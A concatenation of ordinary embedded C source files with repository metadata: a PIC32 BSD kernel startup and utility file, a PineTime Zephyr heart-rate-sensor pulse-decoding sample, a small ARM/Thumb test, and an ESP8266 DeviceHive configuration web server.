LED_MISC2_PIN #endif #ifdef LED_MISC3_INVERT #define LED_MISC3_ON() LAT_CLR(LED_MISC3_PORT) = 1 << LED_MISC3_PIN #define LED_MISC3_OFF() LAT_SET(LED_MISC3_PORT) = 1 << LED_MISC3_PIN #else #define LED_MISC3_ON() LAT_SET(LED_MISC3_PORT) = 1 << LED_MISC3_PIN #define LED_MISC3_OFF() LAT_CLR(LED_MISC3_PORT) = 1 << LED_MISC3_PIN #endif #ifdef LED_MISC4_INVERT #define LED_MISC4_ON() LAT_CLR(LED_MISC4_PORT) = 1 << LED_MISC4_PIN #define LED_MISC4_OFF() LAT_SET(LED_MISC4_PORT) = 1 << LED_MISC4_PIN #else #define LED_MISC4_ON() LAT_SET(LED_MISC4_PORT) = 1 << LED_MISC4_PIN #define LED_MISC4_OFF() LAT_CLR(LED_MISC4_PORT) = 1 << LED_MISC4_PIN #endif int hz = HZ; int usechz = (1000000L + HZ - 1) / HZ; #ifdef TIMEZONE struct timezone tz = { TIMEZONE, DST }; #else struct timezone tz = { 8*60, 1 }; #endif int nproc = NPROC; struct namecache namecache [NNAMECACHE]; char bufdata [NBUF * MAXBSIZE]; struct inode inode [NINODE]; struct callout callout [NCALL]; struct mount mount [NMOUNT]; struct buf buf [NBUF], bfreelist [BQUEUES]; struct bufhd bufhash [BUFHSZ]; struct cblock cfree [NCLIST]; struct proc proc [NPROC]; struct file file [NFILE]; /* * Remove the ifdef/endif to run the kernel in unsecure mode even when in * a multiuser state. Normally 'init' raises the security level to 1 * upon transitioning to multiuser. Setting the securelevel to -1 prevents * the secure level from being raised by init. */ #ifdef PERMANENTLY_INSECURE int securelevel = -1; #else int securelevel = 0; #endif struct mapent swapent[SMAPSIZ]; struct map swapmap[1] = { { swapent, &swapent[SMAPSIZ], "swapmap" }, }; int waittime = -1; /* CPU package type: 64 pins or 100 pins. */ int cpu_pins; static int nodump(dev) dev_t dev; { printf("\ndumping to dev %o off %D: not implemented\n", dumpdev, dumplo); return 0; } int (*dump)(dev_t) = nodump; #ifdef CONFIG /* * Build using old configuration utility (configsys). */ dev_t rootdev = NODEV; dev_t swapdev = NODEV; dev_t dumpdev = NODEV; #endif dev_t pipedev; daddr_t dumplo = (daddr_t) 1024; /* * Check whether button 1 is pressed. */ static inline int button1_pressed() { #ifdef BUTTON1_PORT int val; TRIS_SET(BUTTON1_PORT) = 1 << BUTTON1_PIN; val = PORT_VAL(BUTTON1_PORT); #ifdef BUTTON1_INVERT val = ~val; #endif return (val >> BUTTON1_PIN) & 1; #else return 0; #endif } /* * Machine dependent startup code */ void startup() { extern void _etext(), _exception_base_(); extern unsigned __data_start; /* Initialize STATUS register: master interrupt disable. * Setup interrupt vector base. */ mips_write_c0_register(C0_STATUS, 0, ST_CU0 | ST_BEV); mips_write_c0_register(C0_EBASE, 1, _exception_base_); mips_write_c0_register(C0_STATUS, 0, ST_CU0); /* Set vector spacing: not used really, but must be nonzero. */ mips_write_c0_register(C0_INTCTL, 1, 32); /* Clear CAUSE register: use special interrupt vector 0x200. */ mips_write_c0_register(C0_CAUSE, 0, CA_IV); /* Setup memory. */ BMXPUPBA = 512 << 10; /* Kernel Flash memory size */ #ifdef KERNEL_EXECUTABLE_RAM /* * Set boundry for kernel executable ram on smallest * 2k boundry required to allow the keram segment to fit. * This means that there is possibly some u0area ramspace that * is executable, but as it is isolated from userspace this * should be ok, given the apparent goals of this project. */ extern void _keram_start(), _keram_end(); unsigned keram_size = (((char*)&_keram_end-(char*)&_keram_start+(2<<10))/(2<<10)*(2<<10)); BMXDKPBA = ((32<<10)-keram_size); /* Kernel RAM size */ BMXDUDBA = BMXDKPBA+(keram_size); /* Executable RAM in kernel */ #else BMXDKPBA = 32 << 10; /* Kernel RAM size */ BMXDUDBA = BMXDKPBA; /* Zero executable RAM in kernel */ #endif BMXDUPBA = BMXDUDBA; /* All user RAM is executable */ /* * Setup interrupt controller. */ INTCON = 0; /* Interrupt Control */ IPTMR = 0; /* Temporal Proximity Timer */ /* Interrupt Flag Status */ IFS(0) = PIC32_IPC_IP0(2) | PIC32_IPC_IP1(1) | PIC32_IPC_IP2(1) | PIC32_IPC_IP3(1) | PIC32_IPC_IS0(0) | PIC32_IPC_IS1(0) | PIC32_IPC_IS2(0) | PIC32_IPC_IS3(0) ; IFS(1) = 0; IFS(2) = 0; /* Interrupt Enable Control */ IEC(0) = 0; IEC(1) = 0; IEC(2) = 0; /* Interrupt Priority Control */ unsigned ipc = PIC32_IPC_IP0(1) | PIC32_IPC_IP1(1) | PIC32_IPC_IP2(1) | PIC32_IPC_IP3(1) | PIC32_IPC_IS0(0) | PIC32_IPC_IS1(0) | PIC32_IPC_IS2(0) | PIC32_IPC_IS3(0) ; IPC(0) = ipc; IPC(1) = ipc; IPC(2) = ipc; IPC(3) = ipc; IPC(4) = ipc; IPC(5) = ipc; IPC(6) = ipc; IPC(7) = ipc; IPC(8) = ipc; IPC(9) = ipc; IPC(10) = ipc; IPC(11) = ipc; IPC(12) = ipc; /* * Setup wait states. */ CHECON = 2; BMXCONCLR = 0x40; CHECONSET = 0x30; /* Disable JTAG port, to use it for i/o. */ DDPCON = 0; /* Use all B ports as digital. */ AD1PCFG = ~0; /* Config register: enable kseg0 caching. */ mips_write_c0_register(C0_CONFIG, 0, mips_read_c0_register(C0_CONFIG, 0) | 3); /* Kernel mode, interrupts disabled. */ mips_write_c0_register(C0_STATUS, 0, ST_CU0); mips_ehb(); /* * Configure LED pins. */ #ifdef LED_TTY_PORT /* Terminal i/o */ LED_TTY_OFF(); TRIS_CLR(LED_TTY_PORT) = 1 << LED_TTY_PIN; #endif #ifdef LED_DISK_PORT /* Disk i/o */ LED_DISK_OFF(); TRIS_CLR(LED_DISK_PORT) = 1 << LED_DISK_PIN; #endif #ifdef LED_KERNEL_PORT /* Kernel activity */ LED_KERNEL_OFF(); TRIS_CLR(LED_KERNEL_PORT) = 1 << LED_KERNEL_PIN; #endif #ifdef LED_SWAP_PORT /* Auxiliary */ LED_SWAP_OFF(); TRIS_CLR(LED_SWAP_PORT) = 1 << LED_SWAP_PIN; #endif #ifdef GPIO_CLEAR_PORT /* Clear pin */ LAT_CLR(GPIO_CLEAR_PORT) = 1 << GPIO_CLEAR_PIN; TRIS_CLR(GPIO_CLEAR_PORT) = 1 << GPIO_CLEAR_PIN; #endif #ifdef POWER_ENABLED power_init(); #endif //SETVAL(0); /* Initialize .data + .bss segments by zeroes. */ bzero(&__data_start, KERNEL_DATA_SIZE - 96); #if __MPLABX__ /* Microchip C32 compiler generates a .dinit table with * initialization values for .data segment. */ extern const unsigned _dinit_addr[]; unsigned const *dinit = &_dinit_addr[0]; for (;;) { char *dst = (char*) (*dinit++); if (dst == 0) break; unsigned nbytes = *dinit++; unsigned fmt = *dinit++; if (fmt == 0) { /* Clear */ do { *dst++ = 0; } while (--nbytes > 0); } else { /* Copy */ char *src = (char*) dinit; do { *dst++ = *src++; } while (--nbytes > 0); dinit = (unsigned*) ((unsigned) (src + 3) & ~3); } } #else /* Copy the .data image from flash to ram. * Linker places it at the end of .text segment. */ extern unsigned _edata; unsigned *src = (unsigned*) &_etext; unsigned *dest = &__data_start; unsigned *limit = &_edata; while (dest < limit) { /*printf("copy %08x from (%08x) to (%08x)\n", *src, src, dest);*/ *dest++ = *src++; } #ifdef KERNEL_EXECUTABLE_RAM /* Copy code that must run out of ram (due to timing restrictions) * from flash to the executable section of kernel ram. * This was added to support swap on sdram */ extern void _ramfunc_image_begin(); extern void _ramfunc_begin(); extern void _ramfunc_end(); unsigned *src1 = (unsigned*) &_ramfunc_image_begin; unsigned *dest1 = (unsigned*)&_ramfunc_begin; unsigned *limit1 = (unsigned*)&_ramfunc_end; /*printf("copy from (%08x) to (%08x)\n", src1, dest1);*/ while (dest1 < limit1) { *dest1++ = *src1++; } #endif #endif /* __MPLABX__ */ /* * Setup peripheral bus clock divisor. */ unsigned osccon = OSCCON & ~PIC32_OSCCON_PBDIV_MASK; #if BUS_DIV == 1 osccon |= PIC32_OSCCON_PBDIV_1; #elif BUS_DIV == 2 osccon |= PIC32_OSCCON_PBDIV_2; #elif BUS_DIV == 4 osccon |= PIC32_OSCCON_PBDIV_4; #elif BUS_DIV == 8 osccon |= PIC32_OSCCON_PBDIV_8; #else #error Incorrect BUS_DIV value! #endif /* Unlock access to OSCCON register */ SYSKEY = 0; SYSKEY = 0xaa996655; SYSKEY = 0x556699aa; OSCCON = osccon; /* * Early setup for console devices. */ #if CONS_MAJOR == UART_MAJOR uartinit(CONS_MINOR); #endif #if CONS_MAJOR == UARTUSB_MAJOR usbinit(); #endif /* Get total RAM size. */ physmem = BMXDRMSZ; /* * When button 1 is pressed - boot to single user mode. */ boothowto = 0; if (button1_pressed()) { boothowto |= RB_SINGLE; } } static void cpuidentify() { unsigned devid = DEVID, osccon = OSCCON; static const char pllmult[] = { 15, 16, 17, 18, 19, 20, 21, 24 }; static const char plldiv[] = { 1, 2, 3, 4, 5, 6, 10, 12 }; static const char *poscmod[] = { "external", "XT crystal", "HS crystal", "(disabled)" }; printf("cpu: "); switch (devid & 0x0fffffff) { case 0x04307053: cpu_pins = 100; printf("795F512L"); break; case 0x0430E053: cpu_pins = 64; printf("795F512H"); break; case 0x04341053: cpu_pins = 100; printf("695F512L"); break; case 0x04325053: cpu_pins = 64; printf("695F512H"); break; default: /* Assume 100-pin package. */ cpu_pins = 100; printf("DevID %08x", devid); } printf(" %u MHz, bus %u MHz\n", CPU_KHZ/1000, BUS_KHZ/1000); /* COSC: current oscillator selection bits */ printf("oscillator: "); switch (osccon >> 12 & 7) { case 0: printf("internal Fast RC\n"); break; case 1: printf("internal Fast RC, PLL div 1:%d mult x%d\n", plldiv [DEVCFG2 & 7], pllmult [osccon >> 16 & 7]); break; case 2: printf("%s\n", poscmod [DEVCFG1 >> 8 & 3]); break; case 3: printf("%s, PLL div 1:%d mult x%d\n", poscmod [DEVCFG1 >> 8 & 3], plldiv [DEVCFG2 & 7], pllmult [osccon >> 16 & 7]); break; case 4: printf("secondary\n"); break; case 5: printf("internal Low-Power RC\n"); break; case 6: printf("internal Fast RC, divided 1:16\n"); break; case 7: printf("internal Fast RC, divided\n"); break; } } /* * Check whether the controller has been successfully initialized. */ static int is_controller_alive(driver, unit) struct driver *driver; int unit; { struct conf_ctlr *ctlr; /* No controller - that's OK. */ if (driver == 0) return 1; for (ctlr = conf_ctlr_init; ctlr->ctlr_driver; ctlr++) { if (ctlr->ctlr_driver == driver && ctlr->ctlr_unit == unit && ctlr->ctlr_alive) { return 1; } } return 0; } /* * Configure all controllers and devices as specified * in the kernel configuration file. */ void kconfig() { struct conf_ctlr *ctlr; struct conf_device *dev; cpuidentify(); /* Probe and initialize controllers first. */ for (ctlr = conf_ctlr_init; ctlr->ctlr_driver; ctlr++) { if ((*ctlr->ctlr_driver->d_init)(ctlr)) { ctlr->ctlr_alive = 1; } } /* Probe and initialize devices. */ for (dev = conf_device_init; dev->dev_driver; dev++) { if (is_controller_alive(dev->dev_cdriver, dev->dev_ctlr)) { if ((*dev->dev_driver->d_init)(dev)) { dev->dev_alive = 1; } } } } /* * Sit and wait for something to happen... */ void idle() { /* Indicate that no process is running. */ noproc = 1; /* Set SPL low so we can be interrupted. */ int x = spl0(); /* Wait for something to happen. */ asm volatile ("wait"); /* Restore previous SPL. */ splx(x); } void boot(dev, howto) register dev_t dev; register int howto; { if ((howto & RB_NOSYNC) == 0 && waittime < 0 && bfreelist[0].b_forw) { register struct fs *fp; register struct buf *bp; int iter, nbusy; /* * Force the root filesystem's superblock to be updated, * so the date will be as current as possible after * rebooting. */ fp = getfs(rootdev); if (fp) fp->fs_fmod = 1; waittime = 0; printf("syncing disks... "); (void) splnet(); sync(); for (iter = 0; iter < 20; iter++) { nbusy = 0; for (bp = &buf[NBUF]; --bp >= buf; ) if (bp->b_flags & B_BUSY) nbusy++; if (nbusy == 0) break; printf("%d ", nbusy); udelay(40000L * iter); } printf("done\n"); } (void) splhigh(); if (! (howto & RB_HALT)) { if ((howto & RB_DUMP) && dumpdev != NODEV) { /* * Take a dump of memory by calling (*dump)(), * which must correspond to dumpdev. * It should dump from dumplo blocks to the end * of memory or to the end of the logical device. */ (*dump)(dumpdev); } /* Restart from dev, howto */ #ifdef UARTUSB_ENABLED /* Disable USB module, and wait awhile for the USB cable * capacitance to discharge down to disconnected (SE0) state. */ U1CON = 0x0000; udelay(1000); /* Stop DMA */ if (! (DMACON & 0x1000)) { DMACONSET = 0x1000; while (DMACON & 0x800) continue; } #endif /* Unlock access to reset register */ SYSKEY = 0; SYSKEY = 0xaa996655; SYSKEY = 0x556699aa; /* Reset microcontroller */ RSWRSTSET = 1; (void) RSWRST; } printf("halted\n"); if (howto & RB_BOOTLOADER) { printf("entering bootloader\n"); BLRKEY = 0x12345678; /* Unlock access to reset register */ SYSKEY = 0; SYSKEY = 0xaa996655; SYSKEY = 0x556699aa; /* Reset microcontroller */ RSWRSTSET = 1; (void) RSWRST; } #ifdef HALTREBOOT printf("press any key to reboot..."); cngetc(); /* Unlock access to reset register */ SYSKEY = 0; SYSKEY = 0xaa996655; SYSKEY = 0x556699aa; /* Reset microcontroller */ RSWRSTSET = 1; (void) RSWRST; #endif for (;;) { #ifdef UARTUSB_ENABLED usb_device_tasks(); cdc_consume(0); cdc_tx_service(); #else #ifdef POWER_ENABLED if (howto & RB_POWEROFF) power_off(); #endif asm volatile ("wait"); #endif } /*NOTREACHED*/ } /* * Microsecond delay routine for MIPS processor. * * We rely on a hardware register Count, which is increased * every next clock cycle, i.e. at rate CPU_KHZ/2 per millisecond. */ void udelay(usec) u_int usec; { unsigned now = mips_read_c0_register(C0_COUNT, 0); unsigned final = now + usec * (CPU_KHZ / 1000) / 2; for (;;) { now = mips_read_c0_register(C0_COUNT, 0); /* This comparison is valid only when using a signed type. */ if ((int) (now - final) >= 0) break; } } /* * Control LEDs, installed on the board. */ void led_control(int mask, int on) { #ifdef LED_SWAP_PORT if (mask & LED_SWAP) { /* Auxiliary */ if (on) LED_SWAP_ON(); else LED_SWAP_OFF(); } #endif #ifdef LED_DISK_PORT if (mask & LED_DISK) { /* Disk i/o */ if (on) LED_DISK_ON(); else LED_DISK_OFF(); } #endif #ifdef LED_KERNEL_PORT if (mask & LED_KERNEL) { /* Kernel activity */ if (on) LED_KERNEL_ON(); else LED_KERNEL_OFF(); } #endif #ifdef LED_TTY_PORT if (mask & LED_TTY) { /* Terminal i/o */ if (on) LED_TTY_ON(); else LED_TTY_OFF(); } #endif } /* * Increment user profiling counters. */ void addupc(caddr_t pc, struct uprof *pbuf, int ticks) { unsigned indx; if (pc < (caddr_t) pbuf->pr_off) return; indx = pc - (caddr_t) pbuf->pr_off; indx = (indx * pbuf->pr_scale) >> 16; if (indx >= pbuf->pr_size) return; pbuf->pr_base[indx] += ticks; } /* * Find the index of the least significant set bit in the 32-bit word. * If LSB bit is set - return 1. * If only MSB bit is set - return 32. * Return 0 when no bit is set. */ int ffs(i) u_long i; { if (i != 0) i = 32 - mips_clz(i & -i); return i; } /* * Copy a null terminated string from one point to another. * Returns zero on success, ENOENT if maxlength exceeded. * If lencopied is non-zero, *lencopied gets the length of the copy * (including the null terminating byte). */ int copystr(src, dest, maxlength, lencopied) register caddr_t src, dest; register u_int maxlength, *lencopied; { caddr_t dest0 = dest; int error = ENOENT; if (maxlength != 0) { while ((*dest++ = *src++) != '\0') { if (--maxlength == 0) { /* Failed. */ goto done; } } /* Succeeded. */ error = 0; } done: if (lencopied != 0) *lencopied = dest - dest0; return error; } /* * Calculate the length of a string. */ size_t strlen(s) register const char *s; { const char *s0 = s; while (*s++ != '\0') ; return s - s0 - 1; } /* * Return 0 if a user address is valid. * There are two memory regions allowed for user: flash and RAM. */ int baduaddr(addr) register caddr_t addr; { if (addr >= (caddr_t) USER_FLASH_START && addr < (caddr_t) USER_FLASH_END) return 0; if (addr >= (caddr_t) USER_DATA_START && addr < (caddr_t) USER_DATA_END) return 0; return 1; } /* * Return 0 if a kernel address is valid. * There is only one memory region allowed for kernel: RAM. */ int badkaddr(addr) register caddr_t addr; { if (addr >= (caddr_t) KERNEL_DATA_START && addr < (caddr_t) KERNEL_DATA_END) return 0; if (addr >= (caddr_t) KERNEL_FLASH_START && addr < (caddr_t) KERNEL_FLASH_START + FLASH_SIZE) return 0; return 1; } /* * Insert the specified element into a queue immediately after * the specified predecessor element. */ void insque(void *element, void *predecessor) { struct que { struct que *q_next; struct que *q_prev; }; register struct que *e = (struct que *) element; register struct que *prev = (struct que *) predecessor; e->q_prev = prev; e->q_next = prev->q_next; prev->q_next->q_prev = e; prev->q_next = e; } /* * Remove the specified element from the queue. */ void remque(void *element) { struct que { struct que *q_next; struct que *q_prev; }; register struct que *e = (struct que *) element; e->q_prev->q_next = e->q_next; e->q_next->q_prev = e->q_prev; } /* * Compare strings. */ int strncmp(const char *s1, const char *s2, size_t n) { register int ret, tmp; if (n == 0) return 0; do { ret = *s1++ - (tmp = *s2++); } while ((ret == 0) && (tmp != 0) && --n); return ret; } /* Nonzero if pointer is not aligned on a "sz" boundary. */ #define UNALIGNED(p, sz) ((unsigned) (p) & ((sz) - 1)) /* * Copy data from the memory region pointed to by src0 to the memory * region pointed to by dst0. * If the regions overlap, the behavior is undefined. */ void bcopy(const void *src0, void *dst0, size_t nbytes) { unsigned char *dst = dst0; const unsigned char *src = src0; unsigned *aligned_dst; const unsigned *aligned_src; //printf("bcopy (%08x, %08x, %d)\n", src0, dst0, nbytes); /* If the size is small, or either SRC or DST is unaligned, * then punt into the byte copy loop. This should be rare. */ if (nbytes >= 4*sizeof(unsigned) && ! UNALIGNED(src, sizeof(unsigned)) && ! UNALIGNED(dst, sizeof(unsigned))) { aligned_dst = (unsigned*) dst; aligned_src = (const unsigned*) src; /* Copy 4X unsigned words at a time if possible. */ while (nbytes >= 4*sizeof(unsigned)) { *aligned_dst++ = *aligned_src++; *aligned_dst++ = *aligned_src++; *aligned_dst++ = *aligned_src++; *aligned_dst++ = *aligned_src++; nbytes -= 4*sizeof(unsigned); } /* Copy one unsigned word at a time if possible. */ while (nbytes >= sizeof(unsigned)) { *aligned_dst++ = *aligned_src++; nbytes -= sizeof(unsigned); } /* Pick up any residual with a byte copier. */ dst = (unsigned char*) aligned_dst; src = (const unsigned char*) aligned_src; } while (nbytes--) *dst++ = *src++; } void * memcpy(void *dst, const void *src, size_t nbytes) { bcopy(src, dst, nbytes); return dst; } /* * Fill the array with zeroes. */ void bzero(void *dst0, size_t nbytes) { unsigned char *dst; unsigned *aligned_dst; dst = (unsigned char*) dst0; while (UNALIGNED(dst, sizeof(unsigned))) { *dst++ = 0; if (--nbytes == 0) return; } if (nbytes >= sizeof(unsigned)) { /* If we get this far, we know that nbytes is large and dst is word-aligned. */ aligned_dst = (unsigned*) dst; while (nbytes >= 4*sizeof(unsigned)) { *aligned_dst++ = 0; *aligned_dst++ = 0; *aligned_dst++ = 0; *aligned_dst++ = 0; nbytes -= 4*sizeof(unsigned); } while (nbytes >= sizeof(unsigned)) { *aligned_dst++ = 0; nbytes -= sizeof(unsigned); } dst = (unsigned char*) aligned_dst; } /* Pick up the remainder with a bytewise loop. */ while (nbytes--) *dst++ = 0; } /* * Compare not more than nbytes of data pointed to by m1 with * the data pointed to by m2. Return an integer greater than, equal to or * less than zero according to whether the object pointed to by * m1 is greater than, equal to or less than the object * pointed to by m2. */ int bcmp(const void *m1, const void *m2, size_t nbytes) { const unsigned char *s1 = (const unsigned char*) m1; const unsigned char *s2 = (const unsigned char*) m2; const unsigned *aligned1, *aligned2; /* If the size is too small, or either pointer is unaligned, * then we punt to the byte compare loop. Hopefully this will * not turn up in inner loops. */ if (nbytes >= 4*sizeof(unsigned) && ! UNALIGNED(s1, sizeof(unsigned)) && ! UNALIGNED(s2, sizeof(unsigned))) { /* Otherwise, load and compare the blocks of memory one word at a time. */ aligned1 = (const unsigned*) s1; aligned2 = (const unsigned*) s2; while (nbytes >= sizeof(unsigned)) { if (*aligned1 != *aligned2) break; aligned1++; aligned2++; nbytes -= sizeof(unsigned); } /* check remaining characters */ s1 = (const unsigned char*) aligned1; s2 = (const unsigned char*) aligned2; } while (nbytes--) { if (*s1 != *s2) return *s1 - *s2; s1++; s2++; } return 0; } int copyout(caddr_t from, caddr_t to, u_int nbytes) { //printf("copyout (from=%p, to=%p, nbytes=%u)\n", from, to, nbytes); if (baduaddr(to) || baduaddr(to + nbytes - 1)) return EFAULT; bcopy(from, to, nbytes); return 0; } int copyin (caddr_t from, caddr_t to, u_int nbytes) { if (baduaddr(from) || baduaddr(from + nbytes - 1)) return EFAULT; bcopy(from, to, nbytes); return 0; } /* * Routines for access to general purpose I/O pins. */ static const char pin_name[16] = "?ABCDEFG????????"; void gpio_set_input(int pin) { struct gpioreg *port = (struct gpioreg*) &TRISA; port += (pin >> 4 & 15) - 1; port->trisset = (1 << (pin & 15)); } void gpio_set_output(int pin) { struct gpioreg *port = (struct gpioreg*) &TRISA; port += (pin >> 4 & 15) - 1; port->trisclr = (1 << (pin & 15)); } void gpio_set(int pin) { struct gpioreg *port = (struct gpioreg*) &TRISA; port += (pin >> 4 & 15) - 1; port->latset = (1 << (pin & 15)); } void gpio_clr(int pin) { struct gpioreg *port = (struct gpioreg*) &TRISA; port += (pin >> 4 & 15) - 1; port->latclr = (1 << (pin & 15)); } int gpio_get(int pin) { struct gpioreg *port = (struct gpioreg*) &TRISA; port += (pin >> 4 & 15) - 1; return ((port->port & (1 << (pin & 15))) ? 1 : 0); } char gpio_portname(int pin) { return pin_name[(pin >> 4) & 15]; } int gpio_pinno(int pin) { return pin & 15; }
7d1c735290d7aebfd111cd83e57c518738ab9fb3
36f19002c2ff2f6b60a4d1f1b1443a7221ae04c2
/app/samples/hrs3300/src/main.c
eabf61df9826570d5297952c8b4a5c463f67d9d4
[ "Apache-2.0" ]
permissive
najnesnaj/pinetime-zephyr
cb6d1102fe88c1c1b227beabd9b0b217ecd79638
b9ed4ff7036cfc4059f52c08527194c602b60288
refs/heads/master
2023-08-03T13:42:27.399010
2023-07-22T19:35:52
2023-07-22T19:35:52
223,597,268
109
26
Apache-2.0
2020-02-01T10:38:53
2019-11-23T13:57:36
HTML
UTF-8
C
false
false
3,426
c
main.c
/* * Copyright (c) 2021, najnesnaj * * SPDX-License-Identifier: Apache-2.0 This sample was an attempt to read external led pulses with the HR-sensor. This way, one should be able read out an external sensor. With the Desay D6 smart watch, I managed to get it up and running. With the Pinetime, however I cannot switch of the internal LED and still read out the sensor.... Using the RTT console, you still can experiment with reading out the sensor rtt:~$ sensor get HRS3300 18 (ir -- this switches off the sensor) rtt:~$ sensor get HRS3300 19 (red -- this switches on the sensor) rtt:~$ sensor get HRS3300 20 (green -- get a value) */ #include <zephyr.h> #include <drivers/sensor.h> #include <stdio.h> #include <string.h> void main(void) { typedef unsigned long long u64_t; u64_t pulse_ms_start, pulse_ms_end, lengte; int start=0, positie=0, con, teller=0; int message_count=0; char message_str[64]; char message_start[17]="SSLLLLLLSSLLLLLL\0"; char message_search[17]="XXXXXXXXXXXXXXXX\0"; //struct sensor_value green; struct sensor_value val; //const struct device *dev = device_get_binding(DT_LABEL(DT_INST(0, hx_hrs3300))); //const struct device *dev = device_get_binding("HRS3300NEW"); const struct device *dev = device_get_binding("HRS3300"); if (dev == NULL) { printf("Could not get hrs3300 device\n"); return; } sensor_channel_get(dev, SENSOR_CHAN_IR, &val); //switches blinking LED OFF while (1) { sensor_sample_fetch(dev); sensor_channel_get(dev, SENSOR_CHAN_GREEN, &val); /* Print green LED data*/ //printf("hrs=%d\n", green.val1); //printf("als=%d\n", green.val2); printf("als=%d\n", val.val1); //ambient light sensor lengte=0; if ((val.val1 > 100) && (start==0)){ //external LED is on //pulse_ms_start = k_uptime_get_32(); pulse_ms_start = k_cycle_get_32(); start=1; } if ((val.val1 < 100) && (start==1)){ //external LED is off //pulse_ms_end = k_uptime_get_32(); pulse_ms_end = k_cycle_get_32(); start=0; lengte=pulse_ms_end-pulse_ms_start; } if (lengte>1500) { //long pulse //printk("L"); message_str[message_count]='L'; } if ((lengte<1500) && (lengte>0)) { //short pulse //printk("S"); message_str[message_count]='S'; } if (lengte>0) { //printk("\n"); message_count++; if (message_count > 64) { //once we get 64 LED pulses, analysis starts //printk("%s\n",message_str); message_count=0; for (int searching=0; searching<48; searching++) //locate the start-sequence { strncpy(message_search,message_str+searching,16); // printk("message_search %s\n",message_search); if (strcmp(message_start,message_search)==0){ printk("eureka!\n"); positie=searching; break; } } printk("locate string %d\n",positie); for (con=positie+16;con<positie+24;con++) //get the sensor ID { // printk("%c",message_str[con]); if (message_str[con]=='S'){ teller |= 1<<(con-positie-16); } } printk("sensor number : %d\n",teller); teller=0; for (con=positie+24;con<positie+32;con++) //get the Value { // printk("%c",message_str[con]); if (message_str[con]=='S'){ teller |= 1<<(con-positie-24); } } printk("external sensor value : %d\n",teller); //lightpulses converted into integer value teller=0; } } k_sleep(K_MSEC(20)); } }
42a14fbd67c39d5126e8b121d59eeaac7642ea4f
631fa563ce427d7851ec7a1839532fd06d94ed45
/tests/tests/thumb-to-arm/arm.c
ee9f18c4e676917f3b28fe9ca0659ff8cdf015c4
[ "Apache-2.0" ]
permissive
cojocar/bin2llvm
72d6e5821834becf8e04208673c0f52bb586711e
56f20d39b4dd0ece862067158220aabeb0121426
refs/heads/master
2020-12-30T15:41:51.225129
2018-06-05T12:43:23
2018-06-05T12:43:29
91,162,880
144
17
null
null
null
null
UTF-8
C
false
false
122
c
arm.c
extern void call_me_from_arm(void); int main(void) { call_me_from_arm(); return 0; } void call_me_from_thumb(void) { }
cd91345667e842f699fb5117c76fe325368fb2d0
488e6c9b8555a253df765edc2232e8750e8b3a1b
/firmware-src/sources/dhzc_web.c
7a15b0d2de4f7ededf57386ff1ed46fc73913469
[ "MIT", "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-proprietary-license" ]
permissive
devicehive/esp8266-firmware
32edadae1d919438fd13388b562979030cc4472a
eb8a61482035bfc93a343db386d4470d17fa13d6
refs/heads/develop
2021-01-01T16:44:57.970370
2019-03-28T12:48:43
2019-03-28T12:48:43
39,383,605
182
61
MIT
2018-05-07T20:43:14
2015-07-20T12:53:51
C
UTF-8
C
false
false
2,619
c
dhzc_web.c
/* * dhzc_web.h * * Copyright 2016 DeviceHive * * Author: Nikolay Khabarov * */ #include "dhzc_web.h" #include "httpd.h" #include "dhdebug.h" #include "dhesperrors.h" #include "dhsettings.h" #include "dhzc_pages.h" #include "dhzc_post.h" #include "httpd.h" #include <ets_sys.h> #include <osapi.h> #include <user_interface.h> #include <ets_forward.h> #define WEB_CONF_HOST "devicehive.config" #define RECONFIGURE_DELAY_MS 5000 LOCAL unsigned int mConfigured = 0; LOCAL os_timer_t mReconfigureTimer; LOCAL void ICACHE_FLASH_ATTR system_reconfigure(void *arg) { dhdebug("Rebooting..."); system_restart(); } LOCAL HTTP_RESPONSE_STATUS ICACHE_FLASH_ATTR check_if_configured( HTTP_ANSWER *answer) { if(mConfigured) { answer->content.data = dhzc_pages_ok(&answer->content.len); if(answer->content.data == 0) { return HRCS_INTERNAL_ERROR; } dhdebug("Already configured"); return HRCS_ANSWERED_HTML; } return HRCS_NOT_FINISHED; } LOCAL HTTP_RESPONSE_STATUS ICACHE_FLASH_ATTR get_cb(const char *path, const char *key, HTTP_CONTENT *content_in, HTTP_ANSWER *answer) { HTTP_RESPONSE_STATUS res = check_if_configured(answer); if(res != HRCS_NOT_FINISHED) return res; if(path[0] == '/') { if(path[1] == 0) { answer->content.data = dhzc_pages_form(&answer->content.len); if(answer->content.data == 0) { return HRCS_INTERNAL_ERROR; } return HRCS_ANSWERED_HTML; } } return HRCS_NOT_FOUND; } LOCAL HTTP_RESPONSE_STATUS ICACHE_FLASH_ATTR post_cb(const char *path, const char *key, HTTP_CONTENT *content_in, HTTP_ANSWER *answer) { HTTP_RESPONSE_STATUS res = check_if_configured(answer); if(res != HRCS_NOT_FINISHED) return res; dhdebug("got POST with settings len %u", content_in->len); char *parse_res = dhzc_post_parse(content_in->data, content_in->len); if(parse_res) { answer->content.data = dhzc_pages_error(parse_res, &answer->content.len); } else { if(dhsettings_commit() == 0) { return HRCS_INTERNAL_ERROR; } else { answer->content.data = dhzc_pages_ok(&answer->content.len); if(answer->content.data == 0) { dhdebug("Generate OK page fail"); return HRCS_INTERNAL_ERROR; } else { dhdebug("Configuration was written. Will be rebooted in %d ms", RECONFIGURE_DELAY_MS); os_timer_disarm(&mReconfigureTimer); os_timer_setfn(&mReconfigureTimer, (os_timer_func_t *)system_reconfigure, NULL); os_timer_arm(&mReconfigureTimer, RECONFIGURE_DELAY_MS, 0); mConfigured = 1; } } } return HRCS_ANSWERED_HTML; } void ICACHE_FLASH_ATTR dhzc_web_init(void) { httpd_redirect(WEB_CONF_HOST); httpd_init(get_cb, post_cb); }
991f5cde4a104bd324045ded154d9975e9feb8b8
e683a0b8dbb87c7ceb99e0d06896174a559d2c67
/Tools/include/objfmt.h
8f13d9fdd935722a2e6be58a2f3cb428e06fb2ef
[ "Apache-2.0" ]
permissive
bluewaysw/pcgeos
f093d79567d977d992f47065056d14d5a04b9f14
c6ae4c8e77b54b9ff654c3916f2191f8b1a1b65d
refs/heads/master
2023-08-31T00:17:54.481175
2023-08-29T19:00:49
2023-08-29T19:00:49
157,968,410
603
88
Apache-2.0
2023-09-13T07:44:06
2018-11-17T09:09:55
Assembly
UTF-8
C
false
false
37,563
h
objfmt.h
